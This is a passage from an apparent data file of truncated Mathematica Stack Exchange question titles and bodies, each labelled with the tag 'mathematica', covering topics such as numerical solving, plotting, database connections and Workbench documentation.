glue the opposite edges. Another way is to look at the ... ",['mathematica'] "Title: Dynamic and LibraryLink: dynamic visualization of a simulation Body: I am asking this question to save some time and I am expecting answers only from people who have tried something like this before. (I realize that I could just try it and see if it works, but that ... ",['mathematica'] "Title: How to connect Mathematica 9 to MS SQL 2012 using Windows 7 enterprise (64-bit) Body: I have used Microsoft Open Database Connectivity (ODBC) with Mathematica 8.0 and MSSQL 2008 on Windows XP, but I can't get it to work on Windows 7 Enterprise (64-bit) with Mathematica 9.0.1.0 and MS ... ",['mathematica'] "Title: When is the output of examples in function documentation rasterized? Body: Upon building documentation in Workbench, Workbench sometimes converts the output of examples on function pages into rasterized images, and sometimes not. Does anybody know what controls this ... ",['mathematica'] "Title: FindShortestTour for charity (or: How can I optimize meal delivery with FindShortestTour?) Body: I've been wondering about this for a while - but never got around to asking - until I saw faleichik's incredible answer to Mathematica Minecraft. I did some work at a not-for-profit a little while ... ",['mathematica'] "Title: xkcd: Geohashing in Mathematica Body: On May 21, 2008, an xkcd comic proposed a method for creating a random, local meeting place that can't be determined until the day of the meeting. This method is usually used for xkcd fan events, ... ",['mathematica'] "Title: How do I replace a missing value in a column with the value immediately above throughout a table? Body: I have a large table (7000 rows × 17 columns) of terse textual data. In many of the columns, empty entries have been replaced with ""."" as a marker. Working from the top of the columns downward, I want ... ",['mathematica'] "Title: Building a molecule viewer: aesthetic rotations Body: I am working on building a molecule viewer in Mathematica and am running in to problems with controlling rotation of the molecule (which is rendered as a ... ",['mathematica'] "Title: Can I take derivative of a function that represents a piece of music? Body: Can I take the derivative of a function that represents a piece of music? The music is given in .mp3, .midi or whatever comes in handy. ",['mathematica'] "Title: Manipulating and plotting two interdependent functions: [closed] Body: I want to plot two functions. Function G8 and G9. Both should be manipulable. Function G9 should dependent on Function G8. Function G8 has a bigger starting value. If function G8 increases by δ ... ",['mathematica'] "Title: Integration strategies for oscillatory multidimensional function Body: I am seeking to integrate a highly oscillatory, multidimensional function. I am currently using NIntegrate's QuasiMonteCarlo approach. However, this is time-consuming and, given my current resources, ... ",['mathematica'] "Title: Solving numerically system with Mathematica Body: I'm trying to solve the following system with Mathematica: ... ",['mathematica'] "Title: Set theoretic operations on sets of real numbers Body: I have two pieces of code that produce a bunch of real numbers, say $A$ and $B$ respectively. (It is not relevant to the question, but $A$ consists of eigenvalues of the Hamiltonian of some physical ... ",['mathematica'] "Title: Combining the second elements of a set of ordered pairs based on their first element Body: I have a large set of ordered pairs and I am trying to add the second elements together for any group of pairs that has the same first element. For example my data looks like: ... ",['mathematica'] "Title: Running out of memory using FindMinimum with ParametricFunctions Body: I am running a pretty large optimization problem which actually consists of an outer an inner optmization problem. I use ParametricNDSolve for solving a ODE system. When the optimization is done, ... ",['mathematica'] "Title: Split A text-style cell to multiple cells by a fixed width Body: Sample Cell 1 ... ",['mathematica'] "Title: How to run external program in Mathematica? Body: In fact, I want to do the following in some kind of sense automatically, thus a windows bash file or Mathematica code will be welcome. Suppose I have a pdf file, lets name it as ... ",['mathematica'] "Title: Using RecurrenceTable index to call elements of a vector Body: I am having trouble doing something that seems straightforward. I have a recursive sequence that I would like to produce which looks as follows: ... ",['mathematica'] "Title: Feasibility of Linear Program Body: I have a set of (real) linear equations/inequalities and I want to know whether they have a solution, and to find at least one. The goal is to do this quickly. ... ",['mathematica'] "Title: Can I create a CDF from Mathematica 7? Body: I am almost sure I remember seeing an online tool on the Wolframs website for creating CDF's for Mathematica users with version 7. Am I right? And if so, where can I find it? ",['mathematica'] "Title: Mouse cursor very slight difference Body: Mathematica uses a very thin, translucent cursor in Input style cells. But in text style cells Mathematica uses a cursor theme from Windows. How do I make the cursor visible as normal? photos of ... ",['mathematica'] "Title: Introduction of straight Line into Manipulate function Body: Introduction of straight Line into Manipulate function I just want to implement a line within my chart that starts from time point 0 to time point T and whose y-coordinates can be manipulated, which ... ",['mathematica'] "Title: Searching a string that may contain Null Body: I have an array of triplets that can be approximated by the following code: ... ",['mathematica'] "Title: How to maintain a smooth surface in CDFs while playing? [duplicate] Body: I created a CDF for viewing the Möbius Band, and its generation. https://www.dropbox.com/s/e3af0xelbbqjfhd/Cinta_Moebious_Rafa.cdf But: 1.- When it´s PAUSED the surface is soft and you can see with ... ",['mathematica'] "Title: Quality control when exporting graphics into JPG Body: If I export a graphics from Mathematica to JPG format the image quality in JPG is visibly lower than that in Mathematica. Is it possible to control and eventually increase the quality of the exported ... ",['mathematica'] "Title: How do I find the coordinates of points in this image? Body: I have never used image processing with Mathematica. I need to get the coordinates of the red points from this image I made in Illustrator. Is there a way to get Mathematica to read or detect the ... ",['mathematica'] "Title: Using BarChart and pastel colors is there a method to get the labels to be the same color as the bar? Body: I am using version 8 and I have the following code: ... ",['mathematica'] "Title: Solving differential equations with constraints Body: The problem is $$ x''(t)=F(t) - kx'(t) \\ x'(0)=x(0)=0$$ with the additional constraints $$ 0 < x(t) <a \\ 0 < x'(t) <b $$ where $F(t)$ is a known function and $a,b,k$ are given. At the ... ",['mathematica'] "Title: Weird StringMatchQ behavior [closed] Body: I feel like it would be a dumb question once I know the answer to it, but I'm really confused right now and maybe a quick discussion would help me figure it out. For some reasons I wanted to know if ... ",['mathematica'] "Title: Import specific data from Excel to make a plot Body: I need some help with this: I have imported data from an Excel file and I need to make a contour plot of it. The data are in table-like form. Here is a sample of the first few 'rows': ... ",['mathematica'] "Title: Analytically solve the eigenvalue problem with infinite dimensions by Mathematica? Body: If I am given a symbolic expression of all the matrix elements in an infinite-dimensional space, e.g., the Hamiltonian of a quantum mechanical system, is it possible to get the symbolic expression for ... ",['mathematica'] "Title: Does `Eigenvalues` evaluate in a parallelized way? Body: I use mathematica on a computer with linux operating system. The computer has 2 cpus and each cpu has 4 cores, so there are totally 8 cores available. Now I got confused with whether the evaluation ... ",['mathematica'] "Title: system of ODE through NDSolve Body: I am quite puzzled to solve the coupled ode's numerically. Please tell me why it runs for a long time and not giving any output in mathematica. I am using NDsolve. please have a look ... ",['mathematica'] "Title: Connect to SQLite database Body: I am trying to connect to a SQLite database and since there is no officially supported driver; I decided to use the sqlite-jdbc driver and port the respective code into Mathematica. However, the ... ",['mathematica'] "Title: Searching for roots of complex function Body: I'm searching for roots of complex function $$ 2\imath q \ln(-2\imath k)+\imath\pi-2\imath \Im(\ln(\Gamma(1+2\imath q)))+\ln(\frac{\Gamma(1+\imath q-\imath q x/k)}{\Gamma(1-\imath q-\imath q ... ",['mathematica'] "Title: How to avoid Transpose in output Body: I would like to have ... ",['mathematica'] "Title: Creating documentation for sub-packages in Workbench Body: I'd like to create proper documentation for a package of mine, and Workbench in principle provides the tools to do this. However, I've split my package into multiple sub-packages (because I found it ... ",['mathematica'] "Title: Evaluate Initialization Cells of another notebook Body: Although there may be better ways to get data and definitions from another notebook (packages, read/write dumps, ...), sometimes it is convenient to just evaluate the initialization cells from another ... ",['mathematica'] "Title: How can I construct “better” block graphs? Body: A graph is a block graph if it can be constructed from an undirected tree by replacing each edge with a clique. My method of generating ""random"" block graphs is as follows. The parameters are the ... ",['mathematica'] "Title: Dynamic graph visualisation using JLink/Java and GraphStream Body: Visualising the addition of new nodes and edges to a graph to 'watch it grow' is to something Mathematica is not suited to by default. However this type of animation really helps convey the emergence ... ",['mathematica'] "Title: Solar System Orbital Parameters [duplicate] Body: I recently made an n-body simulation and thought it would be interesting to try and model it on the interior of our solar system (Sun to Mars), but I cannot find initial conditions for such an ... ",['mathematica'] "Title: Set theoretic operations on sets of real numbers Body: I have two pieces of code that produce a bunch of real numbers, say $A$ and $B$ respectively. (It is not relevant to the question, but $A$ consists of eigenvalues of the Hamiltonian of some physical ... ",['mathematica'] "Title: Assigning colors to Graphics3D objects from an ordered list Body: I'd like to draw a set of spheres with colors assigned from a defined set. To provide an example, say I wish to draw a set of three spheres of radius 2 at the positions: {{6, 5, 10}, {1, 4, 20}, {2, ... ",['mathematica'] "Title: Double integral 0 Body: I am trying to reproduce the results from a paper in Mathematica. This task involves $K$ double integrals of the form $$\int f(x,y)g(x)dx,$$ where $f(x,y)$ is a bivariate normal density with mean ... ",['mathematica'] "Title: Sudden increase in computation time for similar computations Body: I'm doing some numerical simulations on a physical system. In the most simplest form I have now the following: ... ",['mathematica'] "Title: Using Element[] Body: Can the Element[] function only be used for the domains given in the documentation. I am trying to use it to determine if a value is contained in a previously defined list. Thanks! ",['mathematica'] "Title: Row Alignment in Grid Body: I've been working on creating tables of differences in MAA similar to the image below, but with a bit more detail: I've written a function that will take an anonymous function, a range of values ... ",['mathematica'] "Title: Save as Tex \(\(f(x))\)\) double \('s problem Body: a simple example Text Cell Style with a inline Cell (DisplayFormula) ... ",['mathematica'] "Title: Frame and white background not working (all other colours are fine) Body: Though my question my be related to this one, it doesn't look like it can easily be solved in the same way, so I hope not to be double-posting. I am trying to insert a framed number/text into a ... ",['mathematica'] "Title: Can I create a CDF from Mathematica 7? Body: I am almost sure I remember seeing an online tool on the Wolframs website for creating CDF's for Mathematica users with version 7. Am I right? And if so, where can I find it? ",['mathematica'] "Title: Numerical solution of Schrödinger-type equation in Mathematica [duplicate] Body: I want to solve the following differential equation numerically: \begin{equation} i\partial_{t}\psi(r,t)=\left[-\frac{\Delta}{2m}+g\left|\psi(r,t)\right|^{2}+V_{d}(r,t)\right]\psi(r,t) \end{equation} ... ",['mathematica'] "Title: How do I draw a Circular Graph colored like this in Mathematica? Body: I must plot some data in radians and would like to use this image as a background to that graph. Although it looks good the lines are degraded in image form. thus the reason for this question. Can ... ",['mathematica'] "Title: Plotting a family of contour plots [duplicate] Body: How can I plot the following equation with $k$ assumed to be an integer""? I tried something like this, but it doesn't work: ... ",['mathematica'] "Title: How to calculate solution for each variable automatically Body: Here I have one problem how to calculate x for each y. In this form code doesn't work ... ",['mathematica'] "Title: Using anonymous functions instead of module or block. Bad idea? [duplicate] Body: Here is an example function which returns True if a point p is on an (open) line segment (A, B) assuming that Orientation[A, p, B] returns 0 if the three points are collinear: ... ",['mathematica'] "Title: Projection of a set of 4D points to the 3D space Body: Consider the following set of points in the 4D space: ... ",['mathematica'] "Title: Counting multiplications (complexity function) Body: I'm trying to count the number of times multiplication appears in an expression (for the purpose of constructing a ComplexityFunction that would help me simplify a terrible algebraic expression for ... ",['mathematica'] "Title: Embed Code Into Image Body: I often export images(plots, matrix, arrays, etc..) from mathematica which I end up putting in word documents or uploading to the web. The problem is that I often lose the original code and I am left ... ",['mathematica'] "Title: Sorting Eigensystems [duplicate] Body: SO I have this code: ... ",['mathematica'] "Title: Fourier transform of a signal Body: I have problem of finding right answer for my problem. Here is my equation: $$E(t)=\sum_{n=1}^{\infty} c_n \sin\left(\frac{n \pi}{T}t\right)$$ What have I done: I have a notebook asking for 3 ... ",['mathematica'] "Title: Plot sublists as different colors Body: I have one big list with many sublists inside. All sublists consist of three numbers. For example: ... ",['mathematica'] "Title: ListContourPlot is blocking my geometry Body: I have a Navier-Stokes solution for a flow past a cylinder. I have attached the DAT file. The columns in the DAT file contain the x,y,u,v,p data, respectively. The DAT file can be obtained from our ... ",['mathematica'] "Title: 3D visualization of 4D object data Body: I have some paired data here {{x1,y1},...{x_n,y_n}} (Download link) which represents {frequency, amplitude} of a spatial object surface mesh. Its quite a lot of cells and data as you can see in the ... ",['mathematica'] "Title: Converting polygon to graph in V7 Body: I've unsuccessfully tried many ways of converting polygon points into a graph using Mathematica 7, and I am frustrated. I looked at this post, but it doesn't work: ... ",['mathematica'] "Title: Have the kernel load a user-defined function by default [duplicate] Body: I wrote a very simple function that I would like to act as if it were one of the default functions that came with Mathematica, so that you don't have to load or import any package before you make use ... ",['mathematica'] "Title: Telling mathematica to output * instead of space for multiplication, so I can copy as plain text Body: I am trying to get some symbolic expressions in Mathematica which I would like to paste into my C/MATLAB codes. This can be accomplished nicely by selecting the expression and right-clicking to ... ",['mathematica'] "Title: Question regarding function definition overloading / argument passing test [duplicate] Body: It is possible to define function dependently to passed argument type or condition this argument fulfills (somewhat like overloading): ... ",['mathematica'] "Title: Weird vertical line when trying to plot a histogram [duplicate] Body: I'm trying to plot a histogram of a few data points and overlay a plot on it (it's a fit of a geometric distribution to my data). The weird thing is that a vertical line appears always next to the ... ",['mathematica'] "Title: create function that behaves like continuedFraction [duplicate] Body: I'm just starting to learn Mathematica and I got stuck at this question. This a noob question but please help. I need to define a function named continuedFraction that takes user input of type list ... ",['mathematica'] "Title: Solar System Orbital Parameters [duplicate] Body: I recently made an n-body simulation and thought it would be interesting to try and model it on the interior of our solar system (Sun to Mars), but I cannot find initial conditions for such an ... ",['mathematica'] "Title: Im trying to find the eigenvectors of an 11*11 matrix but can't get it to recognise my data [closed] Body: I have the matrix: ... ",['mathematica'] "Title: How to set image DPI? [duplicate] Body: For publications usually images in TIFF format are required in high resolutions. Where can I change settings for images that are being saved (using RMB click ""Save Graphic As...""), so I don't need to ... ",['mathematica'] "Title: CUDAQ[] returns False in version 9 while True in version 8 Body: CUDA works in version 8 but not in version 9. Is there a way to fix the problem in version 9? I've installed the latest CUDA from the official website https://developer.nvidia.com/cuda-downloads ",['mathematica'] "Title: Recursion depth exceeded Body: Below is my code for numerical solving of PDE with Crank Nicolson scheme. ... ",['mathematica'] "Title: Resampling when using image as Texture Body: How to get sharp pixel boundaries with Texture? I'd like to have only black/white in the example below, no gray. ... ",['mathematica'] "Title: Beginner's question: Gap between FrameLabel and BarChart Body: I have a BarChart (Mathematica 9.0.1) ... ",['mathematica'] "Title: The default bandwidth of the SmoothKernelDistribution function Body: I am researching the Silverman rule of thumb for bandwidth selection. Below is a sample of my code, from which it seems that BW=63 is close to the default parameter given by Mathematica (2 images are ... ",['mathematica'] "Title: Doing vector manipulations on Mathematica Body: This is hopefully a simpler version of this previous unanswered question of mine. Let me just focus on the two expressions $F_2^{(s)}$ and $F_3^{(s)}$ given in A.3 and A.4 of page 19 of this paper. ... ",['mathematica'] "Title: Tricky selection of elements based on their position Body: I need to make a list of some elements from a 4D array with dimensions 4x4x4x4. I need to select the elements based on their position in the following way: name an element e(x,y,z,w); I need all the ... ",['mathematica'] "Title: What is wrong with this PDE? Body: I'm trying to get a numerical solution to the wave equation but Mathematica keeps on giving me an error and I cannot see what the problem is. This is the code I have: ... ",['mathematica'] "Title: Can you form a list with elements which are terms from an equation? Body: Is there a command that takes an equation as an input and creates an output with a list of terms in the original equation? Something like: ... ",['mathematica'] "Title: Strange 3D plot behavior Body: Two Part Question Part 1: As you can see from the data and plot below, the plot does not accurately display the data sets but adds lines beyond and in different dimensions. Both u and v datasets are ... ",['mathematica'] "Title: Is it possible to run Mathematica on an HPC cluster with Torque? Body: I'm installing Wolfram gridMathematica in HPC cluster with TORQUE Resource Manager. There is a big problem because Mathematica suppost PBS pro. Can you help me or give some advice or coments? ",['mathematica'] "Title: How to tell Mathematica to use Real Only Mode [duplicate] Body: How do I tell Mathematica to use real only mode. For example if I want to graph $(x-1)^{1/3}$ for $-3<x<3$, I need to use Real Only mode to get the right graph. ",['mathematica'] "Title: Is it possible to save an interrupted computation? Body: I've got this really time consuming factoring problem. To decouple things a bit, I decided to start Mathematica using the command line interface (under screen). ... ",['mathematica'] "Title: A Symbol with Subscript and Superscript as an Axis Label Body: I am trying to have the symbol $\epsilon_{9/2,4}^-$ as the axis label in a graph in Mathematica. First problem is that: when I use Subscript[$\epsilon$,9/2,4], 9/2 changes to $\frac{9}{2}$ (which I ... ",['mathematica'] "Title: Use Initialization Cells to open a CellGroup Body: I would like to use ""Evaluate Initialization Cells"" to open a CellGroup in a notebook. However, the following code doesn't work if placed in an initialization cell: ... ",['mathematica'] "Title: Generating partitions of a set [duplicate] Body: Is it possible to get Mathematica to generate all possible partitions of a set of objects? (..or equivalently if it can be made to do the cumulant expansion or at least the Gaussian special case of ... ",['mathematica'] "Title: How do I operate on a set of ordered pairs? [closed] Body: I have a calculation that will give me a lot of ordered pairs. For each such pair in a list, I want to square the elements and add them together. Here is an example of the kind of list I have ... ",['mathematica'] "Title: Solving homogeneous Fredholm Equation of the second kind Body: I am trying to solve a homogeneous Fredholm integral equation of the second kind, i.e. $\lambda y(x) = \int\limits_a^b e^{i[\phi(t)+k(t-x/M)^2]} y(t)\,dt$ where $\lambda$ is the eigenvalue (to be ... ",['mathematica'] "Title: Mathlink and multithreading Body: In order to make my computations faster I have developed a C/C++ application calling Mathematica kernel and performing many operations using Mathematica functions for equation solving. Now I want to ... ",['mathematica'] "Title: Variable naming changes everything Body: I am having a rather unusual problem I do not understand with Mathematica where renaming one of the variables of my function causes the function to stop ""working"". Here is the example of the code ... ",['mathematica'] "Title: How to store a SparseArray? [duplicate] Body: How to Export/Write a SparseArray? How to Import/Read a SparseArray? Is it always stored as a normal array? How can it be stored in a dense form? Is a numerical SparseArray different to Export/Import ... ",['mathematica'] "Title: Is this result wrong because of calculation time? (and more questions about Assumptions) Body: I am confused with the Integrate Given by Mathematica. First let's see a one-dimensional case: ... ",['mathematica'] "Title: NDSolve diffusion equation over/underdetermined Body: I have a feeling the solution to my problem is very simple… but my knowledge of differential equations is pretty weak. I am trying to solve a scalar diffusion equation (used in NMR spectroscopy, but ... ",['mathematica'] "Title: The plot of roots of polynomials Body: I have polynomial equation like Tribonacci Polynomials for example: $T_3(x)=x^4+x$. After finding the roots of this polynomial, I want to show these roots in the complex plane. I have tried lots of ... ",['mathematica'] "Title: Computation results returned as image instead of text Body: Some times my Mathematica return the result of any computation as text, I don't know why, and how to revert it. If I close and open again, it comes back to normal. As you can see, the mouse cursor ... ",['mathematica'] "Title: Visualizing vector spherical harmonics Body: I have painstakingly derived the vector-spherical harmonics $\mathbf{V}_{J,\,M}^\ell(\theta, \phi)$, which are the generalization of ordinary spherical harmonics $Y_\ell^m(\theta, \phi)$ to vector ... ",['mathematica'] "Title: Numerical sum does not give consistent results Body: Consider the function ... ",['mathematica'] "Title: Prandtl-Meyer function Body: I'm trying to solve for Mach number based on the given Prandtl-Meyer function, however I keep getting odd error. Here is my code: ... ",['mathematica'] "Title: How to adjust parameters to experimental data on a NDSolve problem Body: I have 2 differential equations with 2 variables, x and y,which are a function of t and I have the parameters k1, k2 y k3. ... ",['mathematica'] "Title: How do I draw a hemisphere? Body: I want to draw a solid or partially transparent hemisphere above a partially transparent cuboid object in Graphics3D. However, I do not know how to do this s.t. only half the sphere is drawn. Here's ... ",['mathematica'] "Title: Exporting twice crashes Mathematica on Ubuntu 12.04 with Unity Body: I'm trying to work out if it's a Mathematica, Ubuntu or setup specific bug. I've asked some colleagues to try it on other Linuxes. This also crashes on OS X with Mathematica 8.0 and fails with 9.0, ... ",['mathematica'] "Title: Which function not giving numerical answer [closed] Body: Here's my problem: My functions: ... ",['mathematica'] "Title: Get function not working [closed] Body: Here is what is at the beginning of one of my packages. I have the same problem with any package in which i'm trying to get any another package. ... ",['mathematica'] "Title: Remove linear trend from data Body: I have a large data set with 150k lines and two data columns. I noticed that there is a linear trend, which I want to remove. So, I do the following: first fit with a linear model ... ",['mathematica'] "Title: on RegionPlot3D and ContourPlot3D Body: First I have ... ",['mathematica'] "Title: Numerically solve 2nd order differential equation with singularity Body: Consider a second order differential equation with a potential that diverges at some generic value in the variable. For example: $$-y^{\prime\prime}(s)+\frac1{\mathrm{cn}{(s\mid k^2)}}y(s)=0$$ where ... ",['mathematica'] "Title: Detection of horizontal lines in an image Body: Ok I'm trying to detect horizontal lines in an image. But the problem is that the line is quite obscure. So I'm not sure if it is even possible to extract that. I tried many different filters, but ... ",['mathematica'] "Title: Why do I get empty graph when adding 'Abs' function? Body: Can someone be so nice to provide some help for this particular situation? I try to plot a graph of a derivative which contains modulus. Without it the graph is drawn correctly: But when I wrap the ... ",['mathematica'] "Title: InverseSeries of multiple variables and multiple equations Body: CONTEXT Let us consider a bit of the Universe in which we draw spheres (see a high resolution image here). Astronomers have shown that the density within these spheres could be predicted quite ... ",['mathematica'] "Title: How to define a polynomial/function from an array of coefficients? Body: I have the coefficients of my desired polynomial in an array CoefArr (I'm new to mathematica, so I think of everything as arrays, it is actually a list I believe) starting with the constant at index ... ",['mathematica'] "Title: Symbolic manipulation of functional form Body: I have a functional polynomial expression of the form: ... ",['mathematica'] "Title: What's wrong with my calculation of the expectation of the Laplace distribution? Body: ... ",['mathematica'] "Title: How to increase precision: $MinPrecision does not help [duplicate] Body: I have the following series: ... ",['mathematica'] "Title: How to calculate this integral? Integrate[BesselJ[0, x - BesselJZero[0, 1]]/x, {x, -Infinity, Infinity}] Body: I tried to calculate the following integral, but it returned unevaluated. ... ",['mathematica'] "Title: How can I assign specific colors and sizes to 2D coordinate arrays being plotted with ListLogPlot? Body: I'd like to plot two sets of coordinates in two different arrays using ListLogPlot, and be able to individually specify the sizes and colors of the datapoints for each array. Things seem to work ... ",['mathematica'] "Title: Command to get License Management Monitor info Body: Using Netlink, when we have more users than Mathematica licenses (used in a pool), we get messages such as: Error code: 11. Connected MathLink program has closed the link, but there might still be ... ",['mathematica'] "Title: joining lists based on content Body: I have lists created by other processing steps, which are basically constituted by elements like this: ... ",['mathematica'] "Title: Picking certain pairs according to a condition [duplicate] Body: I'm a Mathematica beginner and can't find out a solution to my problem. I have a list of pairs of numbers, for example something like this, but much longer: list={{2., 3.}, {3., 2.}, {5., 4.}, {4., ... ",['mathematica'] "Title: ODE and BVP: NDSolve errors Body: The mathematical problem is shown here. I tried to solve writing the ... ",['mathematica'] "Title: A matrix-vector cross product Body: I want to do a cross product involving a vector of Pauli matrices $\vec \sigma = \left( {{\sigma _1},{\sigma _2},{\sigma _3}} \right)$; for example, $\vec \sigma \times \left( {1,2,3} \right)$. ... ",['mathematica'] "Title: Notebook UI: Autocompletion - Display function arguments when typing? Body: Is there a setting to display the required arguments of a function when typing as Visual Studio, Matlab, etc. does? ",['mathematica'] "Title: Cannot run Mathematica C-interfacing examples 'factor' Body: I am trying to run a Mathematica example concerning Mathematica interfacing issues with C programs. In particular I am trying to call a Mathematica function from C. Example ... ",['mathematica'] "Title: Is it possible to selectively save the calculated values (array) at memory? Body: My calculation might reach at the limit of my computer's memory because so many output values like the array of a[i,j,k] were produced in the calculation. In order to retain memory, can be the ... ",['mathematica'] "Title: How to dynamically change the Appearance of a control in Manipulate? Body: How can I dynamically change the appearance of b? Strangely it works for the Enabled state but not for the Appearance. Thanks. ... ",['mathematica'] "Title: webMathematica interface for Mobile apps Body: I was reading about webmathematica but it has mentioned that it is for websites and mobile apps depend on wolfram alpha to get its work done. But since exact mathematica code doesn't work in alpha, it ... ",['mathematica'] "Title: Open-source IntelliJIDEA plugin to support Mathematica development Body: Although we already had a question asking for development alternatives to Wolfram Workbench, I want to ask a more specific question: One of the most advanced IDE's especially for Java programming ... ",['mathematica'] "Title: Help generating dynamic manipulators? Body: I would like to generate dynamic Manipulators for each of the selected buttons in a ToggleBar. How can I keep the state of each Manipulator in a variable? I would like to later access the values of ... ",['mathematica'] "Title: CoordinateTransform from Cartesian to Spherical Body: I have a set of coordinates on the sphere in terms of cartesian coordinates. I would like to convert them to spherical data points. However, when I try to convert the point {0, 0, 1} it tells me that ... ",['mathematica'] "Title: Generating a “flare” effect in Graphics3D? Body: I'm attempting to indicate that there is a point-source of light at some position in a Graphics3D-generated image. Is there any built-in tool to do this? My patch-work solution thus far has been to ... ",['mathematica'] "Title: Instruct a Table to only evaluate until a condition is fulfilled Body: I am looking for the way of building a Table of pairs of numbers in a fast way. My true table evaluates huge functions, and I see no way and reason to show those cumbersome expressions here. Let us ... ",['mathematica'] "Title: Can Mathematica use a MySQL ODBC connector? Body: I have a MySQL database that I connect to using Mathematica and would like to distribute my Mathematica code to others. We already have ODBC DSNs setup on peoples machines using the MySQL ODBC ... ",['mathematica'] "Title: Representing a Stencil of a Finite Difference Operator with Mathematica's Graphics3D Body: I have the following finite difference operator: $$ Lu_{ijk}:= du_{ijk} +c(u_{i-1,j,k} + u_{i+1,j,k} + u_{i,j-1,k} + u_{i,j+1,k} + u_{i,j,k-1} + u_{i,j,k+1})\\ -u_{i-1,j+1,k}-u_{i-1,j-1,k} - ... ",['mathematica'] "Title: Why does this simple program leak memory? Body: I have a simple Mathematica program which writes some plots to image files for later conversion into a movie. Unfortunately, the program leaks so much memory that it quickly exhausts all 12G of RAM ... ",['mathematica'] "Title: Is there a more idiomatic way to solve this implicit differentiation problem? Body: Here's an exercise from a calculus text by Larson and Edwards: Find the rate of change of the distance between the origin and a moving point on the graph of $y = x^2 + 1$ if $dx/dt = 2$ ... ",['mathematica'] "Title: Adjacency Matrix for an Undirected Graph Body: Here is an undirected graph ... ",['mathematica'] "Title: Saving and Reading data across computers Body: I DumpSaved some data from my home laptop, uploaded it onto google drive and now I am trying to open it at my school computer but I am getting errors, even though the data is in the correct directory. ... ",['mathematica'] "Title: Contour heat graph (ListContourPlot?) Body: I have solved 2D incompressible Navier Stokes and written out a .dat file that includes x,y,u,v,p values. I am trying to get a 2D color heat graph like this one for my data Here is what I have done ... ",['mathematica'] "Title: Mathematica plots a discontinuity in piecewise function that does not exist [duplicate] Body: I have the following function defined: ... ",['mathematica'] "Title: Plotting a 2-D shape given its border points [duplicate] Body: I have the border points of a 2-D body and wish to fill its interior with a solid color. Let us say I have $N$ such points stacked in the $N \times 2$ matrix $A$ so that the first column indicates the ... ",['mathematica'] "Title: FindRoot gives a wrong solution which obviously should not be there Body: I got stuck on FindRoot and I didn't see any similar problem posted, so let me explain what I am trying to do and what problem I meet here. I try to find roots of a particular function, which in the ... ",['mathematica'] "Title: How do I plot Numerical Range of two hermitian matrices Body: Let $A_1$ and $A_2$ be two $3\times 3$ hermitian matrices. Then their numerical range is defined as two-dimensional set \begin{align} \mathbb{S}=\{\left[u^HA_1u,u^HA_2u\right]\in ... ",['mathematica'] "Title: SetPrecision with indexed variables Body: I have an expression as below: ... ",['mathematica'] "Title: List comparison in constraints for Minimize Body: I am trying to solve an optimization problem, a simplified version of which is as follows: ... ",['mathematica'] "Title: How can I stop DiscreteMarkovProcess[] from relabeling vertices? Body: I'm attempting to calculate the mean first passage time between two vertices, $v_1$ and $v_2$, provided some undirected graph $G$. However, I noticed that running the following script: ... ",['mathematica'] "Title: Efficient drawing of convex polyhedron given a set of points [duplicate] Body: I have a set of points in the 3D space and I want to draw the bounding convex polyhedron of those points. A very naïve solution would be to draw a triangle between every three points: ... ",['mathematica'] "Title: Viewing Mathematica Demonstrations Project Code Body: I hope I am going insane and the I'm not seeing the snake about to bite me... How does one view the code in the demonstration projects that one can download from wolfram.com? It seems like all of ... ",['mathematica'] "Title: How do I create an ellipse bubble chart? Body: I have some data that I would like to plot as a bubble chart. The data is formatted as {{val1_mean,val1_sd,val2_mean,val2_sd},{val1_mean,......}}. What I would like to do is plot a bubble chart where ... ",['mathematica'] "Title: Network database access - How do I connect to a remote database? Body: I am able to connect to a specific MS Access Database when it is on the same Windows computer as Mathematica via the command ... ",['mathematica'] "Title: Manipulate keeps replaying the animation non-stop Body: I made a notebook with the following code, but for some reason when I evaluate it it keeps replaying repeatedly. What is causing this? Thanks. ... ",['mathematica'] "Title: How do I manipulate a 3D point plot? Body: I currently have a recursion done in 3D. At the moment, I am able to manipulate the points, but I cannot use ""Joined->True"" to connect them Currently this is what I have ... ",['mathematica'] "Title: Any rule of thumb for converting a simple mathematical expression into a pure function? Body: By simple mathematical expression I mean one with a few functions and few variables copied into MMA in a mechanical way from a math book. For example this one, giving the distance between two points ... ",['mathematica'] "Title: how to show value of y-axis value using manipulate to select x-axis value Body: How to add a slider for the x-axis that shows the value of the y-axis based on the position of the slider. Basically providing the result of the probably given a specific lot percent defective, lpd ... ",['mathematica'] "Title: Error trying to open a notebook in Wolfram Workbench [duplicate] Body: I recently set up Mathematica 9.0.1 on a new computer, along with x64 Eclipse Indigo with JRE 1.7, and the Wolfram Workbench 2 plug-in. Something is amiss, because when I try to do any sort of task ... ",['mathematica'] "Title: FrameTicks given through Show does not work with LogLogPlot Body: This is similar to the closed topic: Frame ticks for a Log Log plot [closed]. Let me reuse (rm -rf)'s example here. FrameTicks given through Show does not appear if used with LogLogPlot: ... ",['mathematica'] "Title: How to count words in a Greek text Body: I want to perform a simple analysis of some Greek text: collect the different words used and count their frequency. It seems that some of the built-in commands do not work well with Greek letters. For ... ",['mathematica'] "Title: Generating a list of pure variables Body: I want to pass a list of pure variables to a function, in which the ordering of the variables matters. For instance, if I want a palindrome, my function might be: ... ",['mathematica'] "Title: Connecting Mathematica to a SOCKS5 tunnel proxy Body: I have Mathematica setup normally and connections work. However, when I want to use it to connect through my SSH tunnel program (Tunnelier), it throws the error PacletSiteUpdate::err: An error ... ",['mathematica'] "Title: Non linear equation phase space Body: As a supplementary to my question solution of differential equation I post a new question of how is it possible to make a Table that has elements the solutions of a non linear differential equation, ... ",['mathematica'] "Title: Pop Up for Setting directory path Body: I am trying to build certain modules in Mathematica 9. I want it to dynamically ask for the directory path ( like file explorer ) when the code cell is executed. How can I do that ? ... ",['mathematica'] "Title: Runaway MathKernel! Body: I was running a simulation and everything went south (my fault, stupid coding error). So I quit the kernel. Everything was running very slowly, as if it were doing some kind of large calculation. ... ",['mathematica'] "Title: Partial row reduction of a matrix Body: I have an $m\times n$ matrix (presumably of full rank) with $m>n$, and I would like to row reduce it, but leave the last column unreduced; that is, I want to get output on the form $\pmatrix{ 1 ... ",['mathematica'] "Title: Can Mathematica check if two expressions give the same output for integer input? Body: Let me give the background for this question. I'm using WebAssign to assign homework problems, and WebAssign has a built-in mechanism which can grade problems using Mathematica commands. For ... ",['mathematica'] "Title: Function giving negative value when it should be positive [closed] Body: I am trying to evaluate $$\displaystyle J=A\sum_{k=0}^{n-2}(-1)^k{n-2 \choose k}B^{n-2-k}\left(\frac{C_1}{k+n}-\frac{C_2}{k+n+1}+\frac{C_3}{k+n+2}-\frac{2}{k+n+3}\right)$$ in Mathematica as a function 